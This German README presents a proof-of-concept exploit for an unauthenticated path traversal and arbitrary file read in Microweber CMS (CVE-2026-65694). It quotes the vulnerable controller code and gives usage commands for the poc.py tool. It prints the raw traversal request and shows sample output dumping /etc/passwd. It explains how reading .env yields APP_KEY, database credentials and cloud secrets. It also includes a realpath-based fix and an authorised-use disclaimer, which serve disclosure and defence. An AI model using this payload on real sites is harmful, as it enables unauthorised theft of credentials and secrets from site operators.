
PoC für CVE-2026-65694 — Microweber CMS (<=2.0.20) nicht authentifizierte Pfad-Traversierung → beliebiges Dateilesen (.env / secrets)
Proof-of-Concept für CVE-2026-65694, ein unauthentifizierter Pfad-Traversal → Lesen beliebiger Dateien in Microweber CMS.
Ein nicht authentifizierter Angreifer kann über die öffentliche Route GET /userfiles/{path} jede Datei lesen, auf die der Web-Server-Benutzer zugreifen kann — die Laravel-.env-Datei (APP_KEY, DB-Zugangsdaten, E-Mail-/Cloud-Geheimnisse), /etc/passwd, Logs, Schlüssel, Nicht-.php-Konfiguration usw.
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)master (anfällige Zeile weiterhin vorhanden)src/MicroweberPackages/App/Http/Controllers/ServeStaticFileContoller.php
public function serveFromUserfiles(Request $request)
{
$path = $request->path; // <-- property read, NOT $request->path()
$path = normalize_path(userfiles_path() . $path, false); // <-- normalize_path() does NOT strip ".."
return $this->sendResponse($path, $request);
}
Die Route ist ohne Authentifizierung registriert:
Route::any('/userfiles/{path}', ['uses' => '...ServeStaticFileContoller@serveFromUserfiles'])->where('path', '.*');
Zwei Probleme kommen zusammen:
$request->path (Eigenschaftszugriff, nicht die Methode $request->path()) wird über Laravels Request::__get → Arr::get($this->all(), 'path', fn() => $this->route('path')) aufgelöst. Ein ?path=-Query-Parameter setzt also das {path}-Routensegment außer Kraft — und Query-Werte unterliegen nicht der ..-Normalisierung des URL-Pfads, die ein Browser/Server anwendet.normalize_path() entfernt nur Schrägstriche; es entfernt oder löst .. niemals auf, und es gibt keine Prüfung, ob der aufgelöste Pfad innerhalb von userfiles_path() bleibt. Die Dateischicht von PHP löst die ..-Sequenzen anschließend im Dateisystem auf.Der Controller blockiert nur die Erweiterungen .php, .phtml und .php7 (skip_ext), sodass PHP-Quellcode nicht direkt lesbar ist — aber alles andere schon (.env, /etc/passwd, Logs, Schlüssel, SQLite-Datenbanken, JSON/YAML-Konfiguration, …).
pip install -r requirements.txt
Erreichbar bei jeder Bereitstellung, die das empfohlene Dokumentwurzelverzeichnis public/ verwendet (die von Microweber mitgelieferte public/.htaccess oder ein nginx-Front-Controller mit try_files $uri /index.php), bei der userfiles/ außerhalb der Web-Wurzel liegt und /userfiles/* an den Laravel-Router übergeben wird.
Drei Aktionen:
python3 poc.py -u http://TARGET --check # is the target vulnerable?
python3 poc.py -u http://TARGET -r /etc/passwd # read a file (print to stdout)
python3 poc.py -u http://TARGET -r .env # app-relative path also works
python3 poc.py -u http://TARGET -d /etc/passwd -o pw.txt # download a file to disk
Die Traversal-Tiefe wird automatisch erkannt (zunehmendes ../, bis die Datei ausgeliefert wird); mit --depth N überschreibbar. Über Burp mit --proxy http://127.0.0.1:8080 leiten. Mit -v die rohe Anfrage anzeigen.
$ python3 poc.py -u http://target:8080 --check
Microweber CMS - Unauthenticated Arbitrary File Read
CVE-2026-65694 ( GET /userfiles/ ?path= traversal )
by Bobur Abdugafforov
[*] Testing target...
[+] VULNERABLE - CVE-2026-65694 confirmed (arbitrary file read, traversal depth 4)
$ python3 poc.py -u http://target:8080 -r /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
$ python3 poc.py -u http://target:8080 -d /etc/passwd -o pw.txt
[+] Downloaded '/etc/passwd' -> pw.txt (839 bytes, traversal depth 4)
Die zugrunde liegende Anfrage ist schlicht:
GET /userfiles/<random>?path=../../../../etc/passwd HTTP/1.1
Host: target
Unauthentifiziertes Lesen beliebiger Dateien. Das Auslesen der Laravel-.env-Datei liefert den APP_KEY (Session-/Cookie-Fälschung), Datenbank-Zugangsdaten, E-Mail-Passwort und Cloud-Schlüssel — praktisch eine vollständige Kompromittierung der Geheimnisse der Instanz.
Den gebundenen Routenparameter anstelle der Eingabe-Eigenschaft lesen, mit realpath() kanonisieren und prüfen, dass der aufgelöste Pfad innerhalb von userfiles_path() bleibt:
public function serveFromUserfiles(Request $request)
{
$requested = (string) $request->route('path');
$base = realpath(userfiles_path());
$path = realpath(normalize_path($base . DIRECTORY_SEPARATOR . $requested, false));
abort_if($base === false || $path === false
|| strncmp($path, $base . DIRECTORY_SEPARATOR, strlen($base) + 1) !== 0, 404);
return $this->sendResponse($path, $request);
}
Entdeckt und gemeldet von Bobur Abdugafforov. CVE-2026-65694 wurde über VulnCheck vergeben.
Nur für autorisierte Sicherheitstests und zu Bildungszwecken. Nicht gegen Systeme verwenden, die dir nicht gehören oder für die du keine ausdrückliche Erlaubnis zum Testen hast.
| Flag | Aktion |
|---|
--check | Meldet, ob das Ziel verwundbar ist (ja/nein), ohne Daten auszugeben |
-r, --read FILE | Liest eine Datei und gibt sie auf stdout aus |
-d, --download FILE | Liest eine Datei und speichert sie lokal (-o/--output legt den Namen fest) |